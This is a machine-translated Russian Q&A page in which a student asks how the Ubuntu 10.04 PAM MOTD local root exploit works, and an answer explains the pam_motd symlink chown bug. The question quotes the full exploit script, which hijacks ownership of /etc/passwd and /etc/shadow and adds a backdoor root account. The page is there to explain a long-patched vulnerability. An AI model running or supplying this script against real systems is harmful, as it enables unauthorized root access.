Как этот эксплойт разрешает доступ на запись к файлам, принадлежащим root?

7

Для назначения компьютерной безопасности в моем университете мне нужно найти и понять эксплойт, который работает на ubuntu 10.04. Я уже нашел и протестировал его на машине Ubuntu 10.04 (которой я владею)

Это эксплойт, выполняемый как обычный пользователь, который дает вам root-доступ. Снято с веб-сайта «Наступательная безопасность».

P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
    [ -e "" ] && [ -e "".bak ] && rm -rf "".bak
    [ -e "" ] || return 0
    mv ""{,.bak} || return 1
    echo "[*] Backuped "
}
restore() {
    [ -e "" ] && rm -rf ""
    [ -e "".bak ] || return 0
    mv ""{.bak,} || return 1
    echo "[*] Restored "
}
key_create() {
    backup ~/.ssh/authorized_keys
    ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
    [ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
    mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
    echo "[*] SSH key set up"
}
key_remove() {
    rm -f "$KEY"
    restore ~/.ssh/authorized_keys
    echo "[*] SSH key removed"
}
own() {
    [ -e ~/.cache ] && rm -rf ~/.cache
    ln -s "" ~/.cache || return 1
    echo "[*] spawn ssh"
    ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
    [ -w "" ] || { echo "[-] Own  failed"; restore ~/.cache; bye; }
    echo "[+] owned: "
}
bye() {
    key_remove
    exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
  chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor

Я понимаю, почему он создает резервные копии файлов и генерирует ключ для использования с ssh позже, и что он делает мягкую связь между файлом кеша, который является файлом, который пользователь, на котором работает скрипт, имеет права читать и напишите и файл, который вы хотите взять на себя.

Не знаю, что я не понимает, почему echo "$P" >> /etc/passwd и echo "$S" >> /etc/shadow сделаны в этих файлах вместо кеша файлов? Разве это не значит, что цель мягкой связи между этими файлами и файлом кеша могла бы написать его?

Как у $USER есть разрешение в этой точке скрипта писать как на тени, так и на passwd? Ответ явно связан с ssh, сделанным на localhost, но почему этот ssh предоставляет эти разрешения?

После этого я получаю то, что происходит, как только оба файла будут изменены, тогда пользовательский пользователь имеет права root и вызван командой su. Моя основная проблема заключается в понимании с ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true позволяет вам получать права на запись как для тени, так и для passwd.

    
задан user282724 20.05.2014 в 14:44
источник

1 ответ

11

Это была ошибка в pam_motd , которая имеет давно пропатчен :

  

pam_motd (как модуль MOTD) в libpam-modules до 1.1.0-2ubuntu1.1 в PAM на Ubuntu 9.10 и libpam-modules до 1.1.1-2ubuntu5 в PAM на Ubuntu 10.04 LTS позволяет локальным пользователям изменять право собственности произвольных файлов с помощью атаки symlink на .cache в домашнем каталоге пользователя, относящейся к «файлам пользовательских файлов» и файлу motd.legal-notice.

В основном это означает, что при входе в систему с SSH PAM (модуль аутентификации, работающий от имени root) будет пытаться выполнить chown $USER: ~/.cache . Он не смотрел, чтобы увидеть, что это было, так что изменение собственности распространялось на связанный файл.

Это позволило вам владеть, а затем редактировать системные файлы и получать доступ на уровне root.

В то время как .cache было символически связано с /etc/{passwd,shadow} , они могли бы отразиться на .cache ... Но зачем беспокоиться? К тому моменту эти файлы изменили свой файл на $USER . Они свободно редактировались.

Просто в ответ на ваши комментарии:

  • Это не дает вам разрешения, это (или я должен сказать, его модуль PAM) - это вещь, изменяющая право собственности. Но да, PAM, делая то, что он сделал, была проблемой.

  • Символьная ссылка на ~/.cache - это просто перенаправление для эксплойта. Требуется, чтобы при входе в систему PAM (с правами администратора) в chown был связан связанный файл. Это эксплоит .

  • Это был надзор и он был исправлен , сбросив привилегии перед входом в любой из этого кода.

ответ дан Oli 20.05.2014 в 14:54
источник